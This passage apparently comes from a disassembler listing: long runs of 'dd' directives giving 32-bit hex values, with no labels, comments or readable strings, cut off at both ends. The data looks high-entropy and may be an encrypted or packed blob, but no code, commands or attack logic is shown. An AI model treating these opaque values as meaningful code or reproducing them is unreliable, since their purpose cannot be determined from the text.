88E100A3h dd 0E90F992Dh, 27CF50B0h, 800E9E89h, 8EAB164Ah, 13A65AC4h dd 0EB5AD716h, 99314ADDh, 9B87864h, 4D7E4C76h, 0DC43107Fh dd 1F1C4A44h, 63724477h, 0FA1AB123h, 91C088Dh, 5B230214h dd 1C25171h, 2885C1F2h, 0F011EB26h, 68CF021Bh, 0E1293F35h dd 0BFD86EC1h, 92D90BBh, 5E726287h, 8432855h, 6B0AF927h dd 0E970EDF4h, 11C9433h, 3D386CBFh, 46729D2Eh, 50028BC5h dd 0D8CE7082h, 7AD0B746h, 5BF1304Dh, 9C131BACh, 0C1F8944Ch dd 2C71500h, 56E1DD89h, 29852ABEh, 507B3AFBh, 1C91C860h dd 0AB207B7h, 0C398A4B2h, 1D60F580h, 2D5300B3h, 49E6AE8Ah dd 0BB4EB7E9h, 383C29AFh, 6668C003h, 903CF66Fh, 4A25509Ch dd 73F509C6h, 750545EBh, 6515F4A8h, 76AE1812h, 0FA8416FAh dd 7D56B992h, 7D26E359h, 42190025h, 1255CA81h, 28EF7Dh dd 0E4973D01h, 0CB5EE90Eh, 88323D17h, 72EC778Fh, 4540ECBh dd 0F703CD70h, 0D09B92DAh, 6242559Ah, 148EE580h, 0BB599E9h dd 2DF76F3h, 4D6009F2h, 15E043F5h, 0DD8012C8h, 0BB98FE3Bh dd 0CE050E36h, 65562D12h, 41518142h, 0C2005D18h, 13947924h dd 46FD5DB2h, 14821C08h, 0D9F7636Ah, 1892E897h, 69BD99DCh dd 2C1E2004h, 9C7E5C1h, 0A616730h, 0F00A901Bh, 4D9B043Bh dd 0ABF9B5E9h, 0C72572A7h, 40DAF790h, 0E9A3309Dh, 0ED694F94h dd 2F1388CAh, 730BB67Eh, 0D534CA55h, 0B175A9A9h, 406EAE8Bh dd 0C98EC502h, 894A34FDh, 11415EF5h, 680094ECh, 40A86959h dd 403E4B9h, 0F1813484h, 0E10D4FE0h, 1BB62EBFh, 21F82DC0h dd 2CCA2A40h, 6A2C0705h, 9546208h, 7D804E46h, 7E7902B7h dd 563A81BFh, 0CCC017BEh, 0A9E97C26h, 873B66B2h, 0C968494Eh dd 0C6894381h, 5ACBF46Bh, 8357E69Dh, 8FCDB494h, 0FAA46930h dd 316AF952h, 0A465E975h, 754B32B7h, 0E35F7127h, 2640916Dh dd 1040E493h, 5B500953h, 0F889DE89h, 0BDB2E540h, 2B74EDEFh dd 2F4841B7h, 3F4E417Dh, 0DF50F1C1h, 5622EB76h, 0F69DA98Ch dd 6E575A58h, 0C18A250Eh, 80141075h, 7CCB973Dh, 9E46FBC5h dd 0B526AA65h, 0F7138202h, 6C59E055h, 696A4C49h, 7BFA6F10h dd 0C0136BECh, 47AB09DAh, 0B458C69Ch, 7B70B195h, 41BA532Ch dd 0DEEF026Dh, 38C6095Fh, 0B4B4CD77h, 0BEE66255h, 0EE6381B2h dd 7AF1235Bh, 0E84ACD7Ch, 1100E5B4h, 673031B3h, 87DE39F7h dd 8D36274h, 0F284CE81h, 0E6BD8066h, 453E73BBh, 34F63336h dd 0F129B144h, 135EB490h, 89BEF068h, 353F68D3h, 0DB891381h dd 0F510E42Dh, 0AFB800C8h, 3547C377h, 54741FEDh, 0C5BDD928h dd 0C5D160B5h, 0B3E6FFB8h, 8E5C002h, 5F6664E9h, 0D87D83A2h dd 8BD2640Fh, 0A134CCEFh, 62E3904Bh, 908BFA97h, 35C5B412h dd 1884813Ah, 0B95281CFh, 6AF94FC1h, 0CA58F13Ch, 81A0CD48h dd 55257FE2h, 1805C4Dh, 965829BEh, 2AB6EDE9h, 55040A9Bh dd 997DC868h, 0DB764157h, 405D028Bh, 2647DEEFh, 0A51A3591h dd 0ACC4D4ECh, 0D8FDD676h, 51994B10h, 920A2043h, 0D45A3E7Bh dd 3E6A9DB1h, 0FA8D4FC4h, 0ABFB852Eh, 214ABC8Fh, 0C26471D6h dd 0CC425155h, 254B20DCh, 44D645EDh, 796C10Ah, 0D674CA31h dd 9BB54FD0h, 8DE84820h, 849D10h, 0B753C9B6h, 6C7FE65h dd 59B05066h, 0B5A10C20h, 4E8A7803h, 0D4290887h, 245E42B3h dd 0E3025F09h, 0F0098AB6h, 44734EC7h, 3761CA90h, 0B3D053D5h dd 0F666035h, 404855E2h, 0AE747A89h, 0EF24562Fh, 49D952A5h dd 2A5FC2ACh, 0E95800AEh, 0EB2348FAh, 2E31A0D6h, 16640D1Fh dd 0F187D8CDh, 0F2F3F230h, 0ED2A4B89h, 2001D45Ah, 0AB681352h dd 3B25C91Fh, 75A19ABCh, 762D893Fh, 0F729B145h, 0D0FEB954h dd 6BB3EB3Dh, 29C9FF09h, 7E280ADDh, 26ADE9A6h, 5DF84Bh dd 480C8BBFh, 1F78115h, 0E010243Bh, 58288E0Ch, 0B1FBF45Dh dd 3EC1903Eh, 34250395h, 0D0788E76h, 0D03E0h, 21E554D7h dd 0F7F4D32Dh, 68F1A558h, 31A6CC36h, 0A6468602h, 25EAD508h dd 815D0804h, 1EADA84h, 0DFE2D709h, 0B81BB6DAh, 0C8983941h dd 964270Fh, 0A6EDE98Ah, 30E694FDh, 0C66FAB5Ah, 3B09462Fh dd 89F789F9h, 57F1A4E5h, 0E98218B3h, 0D70B812Ah, 3472540Bh dd 74D3DD25h, 0FF07C4ACh, 74A710B1h, 6884E4C7h, 2DAB0F47h dd 10B73D0Bh, 25751531h, 0C59894Ch, 9D694382h, 57319251h dd 56582A90h, 0AAC78A0h, 6ABFD7C0h, 0B87CE23Ah, 0ED474BCDh dd 4DE503EEh, 7E0AC81Dh, 0DDC1129Eh, 0B157EA7Ah, 0B50D4AA0h dd 0D45C9C04h, 8A29BBBFh, 0BE365030h, 3BF01F8h, 4029A448h dd 123722C9h, 7D84285Bh, 0E9273CFAh, 0F4CB8625h, 0CD0170CAh dd 6B261598h, 25CF664Eh, 0D6F9A433h, 3405EB02h, 0B2724543h dd 4AE90880h, 0C2092097h, 4B4C01B0h, 1151924Fh, 8B4791AAh dd 60D95E96h, 653CBF8Bh, 5B310BE7h, 3EC93FCCh, 9AE6D758h dd 0FAEB8002h, 7DE8C0E9h, 0CB08E1Ch, 0B37C6AAAh, 0E8083C02h dd 0C59C8014h, 2E33171Ah, 2D2DFF7h, 31CB2A5Dh, 0A8BF7E55h dd 3EB00B62h, 0E5016F1Ah dd 476A1536h, 66906CE4h, 0BE05FE3Ah, 623FA711h, 5E07042Fh dd 6BE899FAh, 96907EE2h, 0CC02BE04h, 0E550FB20h, 78AB5E08h dd 9425E924h, 8BF7B7Bh, 0B9177C91h, 0CB2C73B2h, 17C11064h dd 1DFE53B1h, 54FA3DBEh, 0A3FBAC09h, 57253FCBh, 55A76802h dd 405D5F72h, 1E65D7h, 0F28143E7h, 382607FAh, 0BE09DFB0h dd 44F140Bh, 30AE45EDh, 0F745A77h, 9DE8304Eh, 5FF92981h dd 56816E58h, 7F347190h, 4E2003F4h, 2FE78152h, 4F280BF8h dd 0F10FACB0h, 53869FF9h, 0AB2165BBh, 10C6B9D0h, 8E3409EBh dd 8A5EF301h, 0D7735D5Ah, 828FA69Ah, 0DECAAE76h, 0F1F740F4h dd 474B3B68h, 3FC45ABDh, 67A81387h, 0F27BE349h, 50BFA692h dd 0FF9BA958h, 7F07576Dh, 0B467FC54h, 67EE57CAh, 0C7B5C2D2h dd 0E11883CAh, 4F94D562h, 8F1D0C4h, 925DB22Bh, 0AA5146BEh dd 76978BC9h, 5E688B8Eh, 6AE96E21h, 0DFF60008h, 2FB40650h dd 67BE480h, 0DC0F917Bh, 6349B353h, 0C228B8C3h, 0BC505D5Bh dd 0E7585078h, 0F882E1C1h, 58A6923Eh, 74C77360h, 0D0644B27h dd 5AB1B03Fh, 0C3A29035h, 5E3063F5h, 0EF4C0C2Fh, 0C20651A2h dd 0BD9F002Fh, 3AB04226h, 0AC6EBE3Ah, 0EE1636EBh, 0F741D9BDh dd 29E5936Bh, 0CF0EE9E0h, 0BD4051B6h, 20257E6h, 7E5C12Bh dd 53D7C4E9h, 58F0AD9Ch, 3C126F78h, 1EC54FE9h, 0B9519200h dd 5AFC7343h, 501FB47Eh, 5C6DA54h, 59659425h, 72CE0BC5h dd 251FB45Fh, 4D56C7E9h, 73F76678h, 0E98732D9h, 0D119D50Ch dd 0BBF853FDh, 3E5B7FAFh, 0E396D931h, 57C9BBB5h, 0B0E3863Fh dd 0D86B3213h, 66C96507h, 5D064BA2h, 74407362h, 0EB261B41h dd 0D6006C35h, 29AB63CEh, 203390DFh, 681894DBh, 74B55E0Fh dd 81D59C17h, 9043658h, 7E12A29h, 535F0801h, 1778A36Eh dd 21B69C3Ah, 0A30F4F17h, 0F08E2A76h, 0E583514Ah, 0ED650293h dd 1410E5Ah, 82383AE1h, 48C8C917h, 1045642h, 0CFABE8ACh dd 80890229h, 78432DCBh, 17F1A0F5h, 5A5CC1CCh, 225DE821h dd 75D43188h, 0E86AAD68h, 54BACF54h, 0AA00DEDCh, 0E9378C5Dh dd 1AB769ECh, 607F104Ah, 25090FFBh, 0B6D750F3h, 2D939866h dd 0BB51C1AEh, 94D1420Eh, 323801C3h, 55E96FDFh, 0F66B0A25h dd 9634CC34h, 0AA18177Ch, 7885B037h, 0B10B0FD3h, 821859D6h dd 617D34A3h, 49BDD17Fh, 844F67A2h, 15E3A440h, 73BF6C12h dd 0ACB38701h, 22F97AAh, 44268EBh, 0FF5E2CA5h, 9C9B48B4h dd 7685253Ah, 7E20ABF2h, 307EFC1h, 3CECBE56h, 0E8F11E3Fh dd 0D1F5C220h, 0FD72D0h, 0C18001E3h, 94F8B083h, 0F9B0002Ah dd 0C3885351h, 0E249D8F6h, 4C5D4831h, 2FE53B29h, 9F06558h dd 157AEA88h, 8B59CF1Eh, 0A4047E5h, 0AFF63B2Bh, 0EDCAB3E3h dd 527F8F70h, 9898BA20h, 7CE609B9h, 46573CCBh, 5E73B734h dd 0C2F2DEA7h, 1677C8CDh, 9702EACFh, 5EB0C8ECh, 5BBCD4Ch dd 17F1E92Bh, 0AD0461EEh, 0FF2C1214h, 0FC490A71h, 0D7DB136Fh dd 0E816E2B0h, 45CA0440h, 31467D18h, 6369E9B9h, 0D6F628FDh dd 595B0479h, 0BFB51585h, 0CDF806A7h, 0C654A0FCh, 0DE0EC582h dd 0C1309210h, 127436CDh, 1F5D660h, 0FC986395h, 0CAE9EA89h dd 0C188A048h, 9AD1C0ABh, 10467A23h, 0BF52A31Bh, 48C96CBCh dd 0DAFB7E6Eh, 4F7E60F2h, 0AB9B588h, 0FEBDF580h, 0BED16A7h dd 0E3F07A2Ch, 1212B0F6h, 0C70979B9h, 4B3887F3h, 40D2EE25h dd 77C07556h, 0F20A2A7Fh, 6355825h, 69565127h, 0F997CC70h dd 3C7D69BFh, 3C250097h, 2D3A5639h, 967721C0h, 7453E925h dd 0E97C2D2Ch, 0B319B62h, 0BB92DB04h, 92023F29h, 0B2520147h dd 0CBA5E0B8h, 9CC06880h, 3EB66063h, 40EDEE80h, 0E2E92993h dd 24A5485Fh, 2B26C03Fh, 237E245Eh, 0A09B7920h, 7A3780D7h dd 0A985B77Ah, 56CF801h, 5A7B2E73h, 55914A82h, 0E49349D9h dd 45290DE4h, 0A672444h, 5C3A133Eh, 0EB804A99h, 1901A2BAh dd 0ABF15D1h, 19E2D6D5h, 8F2F1DDh, 0EF60B951h, 98A0563Ah dd 0F24B2EA4h, 56CF9788h, 8E61C8A9h, 0CD320C4Eh, 759ECA5Ch dd 3AF809F9h, 0E3769DF1h, 85FD9DEDh, 0EEDDB448h, 0CC694ECFh dd 0C491C00h, 37EB92E5h, 62FDF2E6h, 0A690D70Bh, 6EF8CF29h dd 0B417A69Ch, 0B2C4CD01h, 0CF70D4F6h, 25E9EEFEh, 1A7D8E56h dd 1CE257A9h, 52087457h, 34098AC4h, 0C2077E2Eh, 3E09D7C5h dd 0B5B20557h, 1BEC9FD5h, 113DAE97h, 0E90B7836h, 0F87AAD02h dd 0BA40144Bh, 0B64CD9EDh, 4ABFB830h, 0A7F2C103h, 0C05DF679h dd 2566D6DDh, 0CA5D0B24h, 9941DD85h, 5E90C0F3h, 98887794h dd 89AD1DAAh, 377CB622h, 92FE87E3h, 619DE3EFh, 2B681008h dd 40C52309h, 431FA3E8h, 9E822675h, 0D77A315Eh, 2B180702h dd 0EBC98000h, 40D158F6h, 0CA30960Ah, 0C2C7EF7Eh, 82F7E9DFh dd 0ED4A890h, 0A68136A6h, 0ABB8C7B5h, 87543B29h, 1233396Ch dd 0A646889h, 0A0825BD1h, 0F637B00Eh, 50D98241h, 0FA8933B5h dd 68419571h, 522C6CBBh, 215B8C0h, 0E97D7226h, 80F7819Dh dd 0E2F44EAh, 7B8E55C3h, 3DDDD00Eh, 7AF2F578h, 0CA512E5Fh dd 5EF8A5Dh, 0BCCAAEh, 0CDAEE408h, 0C848FEE9h, 66D0D3A6h dd 327982BDh, 5FF4061Eh, 3125E040h, 0B208C90h, 62D69F47h dd 35CC7D5Ah, 18B9EA4Fh, 38A10C61h, 169E97AEh, 0BC4A46FCh dd 0C6D0B428h, 98BC2813h, 54252042h, 0C75C5E61h, 46E57E2Dh dd 0CFC847F4h, 0BFA2F547h, 2F584BDh, 0FDFA3109h, 124CC471h dd 16687551h, 0A3165D08h, 0F74909BBh, 9894C0D9h, 410E2F59h dd 621F6A60h, 0E91C6B7Dh, 572D44B7h, 0D32550AFh, 533BD395h dd 3B91C7B9h, 0BB00B2A3h, 0F581DE4h, 0BD7E6B8h, 0B84F41BCh dd 0EFE9833Dh, 9DC97A10h, 0A9D9FF4Bh, 21383549h, 532C6BABh dd 25C6413Fh, 0C8DDCAE5h, 98895D3Ch, 4CD9B578h, 0A2B50C93h dd 0C45BA03Bh, 0E930AC41h, 37ACB50Bh, 7BFE5E64h, 74BFEA9Ah dd 13C4EB9Fh, 0C9BC6220h, 9258BD30h, 20F9555Ch, 0CCAEA0DFh dd 8619D05Dh, 6F853F38h, 0BBDBF772h, 6F067986h, 3145BC07h dd 0F359C041h, 0A26FF90h, 0B288C432h, 0CC4B3F97h, 0EBB851F8h dd 9E03394Ah, 9BA6CB80h, 0EB061FF3h, 0E02093D9h, 2A09BF93h dd 75430809h, 100629A7h, 0C40D02FAh, 54532F00h, 246C3C2Dh dd 53BFBA4Ch, 0B800E39Ch, 5D8F6E59h, 0D173F791h, 9719D8B7h dd 4C00AA7Ch, 0E908670Eh, 728E6026h, 0CF8047B7h, 2D5E0D7Ah dd 0D70FDAF2h, 137C638h, 4A628ABAh, 0A39B702Ch, 1FB20116h dd 36848F03h, 0C7AAF46Eh, 88E9F024h, 1A388048h, 1EBDB41h dd 14B19E44h, 17F0698Dh, 5905DA9h, 0E7550E66h, 0E12A50EDh dd 0FA7054CAh, 0A46B1E2Dh, 0C9674D68h, 550B682Ah, 3317566h dd 37FB1BD6h, 0F440D406h, 0F2C25F01h, 63FAC4A1h, 7E25DC87h dd 166E66A1h, 0B404FB1Dh, 0F3FBCE52h, 0E01292BCh, 0C802C1D9h dd 519EE933h, 5A693020h, 820BBE4h, 4B502104h, 4FBEAC4Ah dd 975CC3CCh, 1708C4D1h, 614225E7h, 32F17CC0h, 0C42BD30h dd 48E32CCDh, 24043F05h, 901A5A71h, 0BDDE9D4h, 0D1897FC4h dd 0CC8B19BBh, 444EF8F9h, 0F61C6E95h, 6CAC6009h, 0D3F68AB3h dd 2FAD99A1h, 0CDFA2BDh, 0E2CDE05Bh, 775923EEh, 3C1E7A06h dd 0DE8A75F1h, 0D192B6CDh, 400DA200h, 9D812F27h, 8D30A6F8h dd 4C3EC225h, 0EA2D655Ch, 80BA5658h, 0EC22AB3Dh, 0F72C214Fh dd 7899F73h, 201B6E77h, 280E7DB0h, 60FE58C6h, 0C0CEE680h dd 51040EEEh, 121E11B1h dd 0A2B80B59h, 0AC7F63DDh, 7D4B2087h, 0F880C2CBh, 0EBE4A12Ch dd 0C4966FF6h, 44165C16h, 4A018FEEh, 1D60D58Eh, 0D3106768h dd 9EF2194Dh, 0D90D50CCh, 34225FCCh, 6DE9AB2Dh, 8E5FF8F2h dd 3B2D3E6h, 990BDE94h, 0C6021722h, 52078CB2h, 14A8A855h dd 0EE1C294Ah, 0EDFE5E60h, 13BCAFB1h, 0B8F8C5B1h, 81B3EDA1h dd 1FC0BF26h, 316E3A61h, 10C55A15h, 263768C9h, 4021918h dd 8063C896h, 6EF0EDA1h, 5CBD10FEh, 48082066h, 68B0D059h dd 55BB2B4Fh, 0CA624C02h, 5B0DF1Bh, 4403057Eh, 0DAE94B3Fh dd 0F4334B08h, 6880C192h, 0E34F4B47h, 739205DAh, 12BE7DDFh dd 0BEF52594h, 3586490Ch, 0FB8BF1CEh, 0F7468F9Ch, 5D04430Bh dd 8E5C5803h, 2881A05Eh, 316A3C54h, 0D0E9D887h, 31750BA3h dd 852E0F8Dh, 0D2D3F8BCh, 0E90C3DCAh, 0F07FFC8Dh, 27764C95h dd 47AA737h, 8029C020h, 3E6702ACh, 0E95B6139h, 126D8582h dd 25BFEC57h, 0B3E180D3h, 655C6215h, 6FC0771Eh, 78714568h dd 2C3BC29h, 186C7CA9h, 5CE8C1h, 9D08EEC1h, 0D88C2DE0h dd 709542E4h, 0A0F0D558h, 29AD5F32h, 7ACE0EE4h, 9AAF162Ah dd 7E90C67h, 763D87D3h, 7235C4Bh, 16A20C19h, 0AFB06A59h dd 0CDB2E4FDh, 0D8385618h, 0C262803Ah, 929F86E0h, 0D8E404ACh dd 28D207C0h, 45902C8h, 0D4E3E9A8h, 0D1EB3DC9h, 0CF0E381h dd 0F2B74C51h, 3BC3079Fh, 99387A5Dh, 0C43FBDAFh, 0C2715A6Ch dd 0FD0B4262h, 7B68AF48h, 16F32D80h, 1D77F73Bh, 0A31E4C2h dd 17F01719h, 5B1905C3h, 0A417BB58h, 0C6502EA3h, 8A4282E0h dd 97BD55F4h, 0E38CE59Eh, 0F2535F5Fh, 0D4292FBAh, 55AA0982h dd 0A257991Ah, 7771A7FFh, 16F81F94h, 0D63D0D48h, 0C5BE70EEh dd 0C5FC763h, 9CB13F4h, 1535653Bh, 18530700h, 429037E0h dd 0CDC530B5h, 71342E58h, 26AF021Fh, 82E00EE3h, 608251E5h dd 3D082F42h, 1996159Ah, 4C33B33Ah, 4CFC4F3Eh, 2F786BC9h dd 53D8B71Eh, 0DB408417h, 66031ABEh, 3D70BF62h, 4FEFD102h dd 7F32A868h, 88BA5A98h, 5DB830C0h, 2C1C384Ah, 5A32C301h dd 137A28D7h, 12D1D027h, 1D65773Ah, 71EB4F4h, 0A9B96808h dd 388300F1h, 382A174Dh, 5758EFEAh, 55B0E9D4h, 410FBE56h dd 0F7162D3Dh, 0CD870805h, 8DBC6h, 0A6685150h, 5914080Eh dd 938A63EFh, 0FFDAF91Ah, 0C5C290F9h, 0EBCED73Bh, 0BFF4F6h dd 5A84BDCBh, 6867090Dh, 8EB061EBh, 0CFA3045h, 43505A90h dd 1B99A6D2h, 89C50916h, 9D7E13F8h, 0C181305Ah, 0F1446FE1h dd 0C3F30F0Bh, 2559F41Ch, 3F0E657Dh, 285C5605h, 0BF7F8055h dd 0F1287290h, 9249A438h, 0C48001F7h, 58E32845h, 849EE97Bh dd 31EE5132h, 0D34A40h, 1259E181h, 8463DB36h, 0AAF1952h dd 0D1870505h, 0BE008C54h, 49EF7E36h, 4C09F3B8h, 873B0315h dd 77095B0Fh, 63F61E66h, 80459C5Bh, 45AFC271h, 3256B24Eh dd 5D6052A3h, 394BC308h, 0A12F8A29h, 0CF084FDh, 16BB7386h dd 0AB71FEE3h, 247BC6D5h, 0AD48365h, 35A880FBh, 0D8746D95h dd 0FE9D2798h, 0C11AC25Dh, 232028F2h, 82B802FBh, 50166F06h dd 36903750h, 0C84F7825h, 814A405h, 0EA2971E5h, 5D4A0820h dd 4A40DAF1h, 5C8B3E9Ch, 875EF821h, 1C7CF9CFh, 82A52D58h dd 43D220C0h, 0BB636C28h, 0C9070C94h, 0DC446BEh, 0C8031883h dd 76376DF1h, 97829D4Ch, 8F61C789h, 102F72FEh, 0B8001968h dd 0ADC21AF4h, 8C91C531h, 0FD919AC2h, 98E302F1h, 0BA1C4E78h dd 6B45C528h, 1F0A1395h, 9FEB1CDCh, 0A02E49DFh, 15DC7B2Bh dd 11825F25h, 9AC15559h, 2A04257Ch, 79FEBE84h, 0BCAD3B75h dd 0AD50AFD0h, 5E189557h, 569C3436h, 5E3CEC8Bh, 0E008402Fh dd 0B16C843h, 13E84C29h, 590B0CD0h, 0F4794401h, 0DF487AAFh dd 4049022Bh, 3432B96h, 3D9344E2h, 5D07A0F4h, 0B1FFC7AAh dd 126B436Ah, 1003B6D5h, 0AAD3C5ABh, 0AC104C8Ah, 0D8F704CDh dd 0C2FBE8C1h, 1ECC4E28h, 646B6A02h, 40F5813Fh, 61070AECh dd 0B230E4Dh, 0E9B8C338h, 0AFB590B7h, 0F4F2C09Eh, 90453977h dd 0DEF097ABh, 20C0865h, 5484C300h, 0BD01C4E0h, 6F534531h dd 5DCB63A2h, 4C9D4358h, 0F208BCD5h, 0D7EC4A55h, 5B4DA73Eh dd 545D2F28h, 0F876EB2Ch, 0B92F1D58h, 875209EEh, 41C2325Fh dd 0F3785EC0h, 2A8C60D9h, 0AE813531h, 1585B945h, 80E0D4BAh dd 3B6DC523h, 0A48F44EBh, 382DE9BBh, 0FEDE2EF9h, 0D7B0F809h dd 0DAFD536Ah, 0D61922EBh, 9D412090h, 406EB13Eh, 7F7AC414h dd 0F74D5401h, 6AF068D5h, 552DFD33h, 224FD0C3h, 75B7FEE8h dd 2FB8A744h, 583BFE5Bh, 9FD2C578h, 0FB03CFFCh, 4E47C62Eh dd 2E96AEF1h, 6A5DB841h, 0C7EC0613h, 0C87ABB4h, 0C3764986h dd 0AB412874h, 3B01437Ch, 1167146h, 0BEF130DAh, 42710495h dd 25BC3586h, 87D83D72h, 0AFB14B30h, 483C8DCFh, 0EF025D78h dd 8429A587h, 4A5F61DFh, 1367CAE8h, 0FA655503h, 53BF60D0h dd 11D23029h, 0A26C9C40h, 3EB42560h, 0FE1C651Ah, 0FBE915D7h dd 0F730F907h, 2C1E4F5Eh, 0B7C7AEC0h, 120E0F27h, 0EED47AE9h dd 92E7CD89h, 0FD7568C2h, 0F13E249Eh, 21510F5h, 0B3536D2Ch dd 880CF7A1h, 0A5417C30h, 4DAD6630h, 5084094Fh, 7931FAFAh dd 0BB664BF9h, 402E7112h, 2D04E004h, 0E709F0BCh, 5C20187h dd 0EB2932FDh, 6C34A57Dh, 35920513h, 4AFD832Dh, 28173420h dd 0FF05B59h, 26A31FDCh, 24CFB8A5h, 0E45AFC75h, 0A6C02CFBh dd 39995512h, 0DA2540Dh, 2895EA40h, 29492D77h, 27085088h dd 5B5A4E78h, 0BED2F6A3h, 8ABB3035h, 29FE5EA6h, 4FD63857h dd 21D328AAh, 3009D7BAh, 0C805BFDh, 0F3CB066Fh, 9EA30A6Ah dd 170DA689h, 1AF3F375h, 55108291h, 2D4E4E1Eh, 58C3D834h dd 9DBDA41Bh, 0BC524784h, 546DC456h, 0DACAFBh, 5053525Bh dd 21468h, 0D586766h, 576D0E3Eh, 12C3ACA0h, 0E905AC04h dd 0A0A94B1Eh, 6985DB02h, 7C7E2170h, 80B33B1Eh, 1B1CDB68h dd 0C781DCD7h, 296AB4F0h, 450C0860h, 805B2E67h, 2305936Ch dd 9920E9DDh, 13CFA3BFh, 0C8ABAA3Ch, 2167D2C3h, 18B1BD5Ah dd 1E604B60h, 5F12587Eh, 99A009DEh, 9A09D6DAh, 56FB9BECh dd 30044D47h, 100332F8h, 87E94012h, 3C4125B3h, 590653E0h dd 654F19B1h, 34F49DF5h, 5E351292h, 6350010Bh, 316C694Eh dd 0CE7D6099h, 194ADE0Ch, 0BF66D31h, 40C2A006h, 2631CBFFh dd 4ECE98EEh, 0E3FE09BEh, 23465DFh, 359660D6h, 0E912275Ah dd 7DF3BF79h, 585315Dh, 0DCE2F88Eh, 522887D0h, 1D390FF2h dd 72855E2Ch, 0B499AC14h, 0C275EDAAh, 0C88FF3E9h, 9081D1CFh dd 43C72836h, 9E30279Eh, 0CBF9BBFFh, 0CB4D03C9h, 52CA544Fh dd 0F3315804h, 84EA6403h, 7CB99144h, 0F23A2F24h, 0CA770869h dd 4B8CF04Ch, 2743A704h, 111056Bh, 176B42EBh, 0C18E7E1Dh dd 7AA401D2h, 7B7C5368h, 1D8754A4h, 0BC34E542h, 0C215D686h dd 3C0C1805h, 0D4832A4Dh, 6873958Ch, 6F09569Fh, 792776CAh dd 2E163A28h, 21001EBh, 7F29E680h, 0AF40C7A2h, 7EFEF0B3h dd 0BCC32CCBh, 6EF2226h, 0CC60320Dh, 2524664Dh, 7B8BAF8Ah dd 62BDFC49h, 185758C1h, 0EFDB221h, 0C04CE280h, 0EAD00562h dd 0F2F6E15Fh, 9375C88Bh, 0DFA2190h, 89094913h, 34EC8A12h dd 0C61EBBD3h, 202BE640h, 135210ACh, 0D08433E9h, 0CB4FF164h dd 0F220717Bh, 472924A9h, 2A806297h, 0EDCA7D09h, 0C4207B44h dd 933BA005h, 756C3D43h dd 27A16390h, 5B59DC5Ah, 0A3A0D882h, 4AF6808Eh, 0ECF1709Fh dd 2C1207EBh, 0D953E9A3h, 66240FD2h, 8AC2832Eh, 0BB5C050Ch dd 0EC2ABD6Dh, 726CC60Dh, 0E3F8A0D8h, 1D02F85h, 312D0FD8h dd 0CE55E1C5h, 5928686Ch, 47FF0F8Ah, 2A841D15h, 980500C6h dd 9478C84Bh, 0ABA43E90h, 0FC60A5F4h, 0FD823414h, 0E120B358h dd 0E5D128E8h, 96A455FCh, 0DCE83Ah, 8F2C91CFh, 174F4732h dd 428B2EE9h, 7C196875h, 0F382BD51h, 6643F565h, 5D8784CEh dd 0B05B9C5Ch, 694A3FF4h, 97F72DD8h, 0CB5A0D85h, 0C6E95FE9h dd 6EE911D8h, 0B19D365Eh, 0A254EFEDh, 0E50681AAh, 0F0412EDFh dd 1AD5C685h, 9F28E8F5h, 0D261071Fh, 0DC2DA467h, 0A54CB751h dd 0E27FF486h, 0BD70CE9h, 1B9ED5E4h, 9F54C3FEh, 76EEFAB7h dd 4831F459h, 0C7741DCBh, 0DAFBE968h, 0D08028DCh, 5B18932Dh dd 95159813h, 0E90587F6h, 348D174Ch, 80D2252Fh, 0FA18CAF0h dd 0F2816B0Eh, 7541C0A0h, 24FBB850h, 16702709h, 134CADA3h dd 0C3B36672h, 23F4BF00h, 0F0BD227Fh, 22310BCBh, 0F62F61ABh dd 7E857A0Bh, 905DAB23h, 6613BA69h, 0CBD347AEh, 68517159h dd 348C2E1Bh, 0E51049E9h, 4B64E64Ah, 4FEF6EE4h, 0DF6CBE70h dd 0A117D3BEh, 3E125078h, 0B0BF79A7h, 0B5DB10D7h, 0ED81D45Ch dd 4FD42C8Fh, 7431CDD9h, 88EC043Ah, 0F9BE0082h, 0B166A21Bh dd 92762FD5h, 9174EE84h, 81EE68C5h, 2B1A7BDh, 0B222C0F6h dd 29588006h, 87BF3097h, 0C8FE9514h, 98649C2h, 163DA0D9h dd 7F206DB0h, 7BCC6ED6h, 0E19F2709h, 52BBD790h, 0AFDA0C3Eh dd 521D7021h, 330F0FF9h, 49DFCF15h, 0E477A2F6h, 20972413h dd 0AE3C44F3h, 2F082FC7h, 47B78CCCh, 0FF303199h, 38EA2AC2h dd 1E540F32h, 0C20968C5h, 0F10BDA77h, 0EEC14135h, 971F7102h dd 9CAA5BD5h, 9BAC5922h, 0E898E913h, 0E8158DABh, 0AD9B2A19h dd 0A4C1AC13h, 8D7BEF68h, 0AFE66F50h, 71E9DE04h, 2464A436h dd 5873741Eh, 4C8C5EC9h, 141B385Ch, 4734FF4Fh, 803DD4EBh dd 7B1CE6B3h, 10AF104Eh, 0C670895h, 72B0D056h, 59B575Eh dd 17D4988h, 760E7BBBh, 0E5AC6A29h, 0E9FF5B30h, 0DEEDDAA8h dd 7A44D157h, 8540CE02h, 0A7BCE4F1h, 4E4D5015h, 0E1DEB854h dd 42022065h, 28FCE61h, 280F429h, 7A659F2h, 0E077DD42h dd 826F2852h, 50FB8257h, 0E781008Eh, 3B257708h, 0B9E1FE60h dd 4FB433A8h, 10BEACB1h, 0F4C8848h, 7F298018h, 43C07382h dd 5D1B7CEFh, 7C6A971Eh, 57580802h, 5002CC57h, 9DF4FF5Fh dd 0C77DEE09h, 0A5E96279h, 801D70DCh, 590EF197h, 7CC1C6E1h dd 410FA012h, 827A940Eh, 60B16ABBh, 241BF760h, 21672126h dd 0A001326h, 0E945FA19h, 0BC7C5747h, 4461163Eh, 3C595A66h dd 23AB3C1h, 9EE050Dh, 0F96A10ABh, 0ECA1070Eh, 87631536h dd 7A52E9F7h, 0F2B4F50Bh, 8A87E912h, 4AB7B4C8h, 0F1E8BBh dd 0F2B35351h, 171AE380h, 57B439E9h, 788F971h, 86B06185h dd 0BCAE2FE4h, 2A8F4F5Eh, 68E0014Ch, 96912F08h, 3B0990A0h dd 7859316Ah, 0F7810317h, 38D43F70h, 37957204h, 5C816EC6h dd 0C2049DD9h, 0E8774B24h, 0AB704487h, 0FDE2C267h, 98F77248h dd 424F1313h, 5901CDECh, 1213B14h, 86F700D7h, 99072F88h dd 90027D0Bh, 5E048077h, 0A2EE86AAh, 6746031Fh, 0BC829C9h dd 2D55C157h, 41EE6CC1h, 0F86CED61h, 4F1EFC4Fh, 415068B9h dd 0A21C4AF7h, 0D80CDFE0h, 96D6D640h, 0EFBC27D3h, 26D166A0h dd 0C05D209Dh, 0C204D73Ch, 7244170Ch, 87D23B60h, 0F42F5A81h dd 792D2874h, 0E4325DD0h, 5585B17Dh, 0BC4E0837h, 24E389BFh dd 39F95B50h, 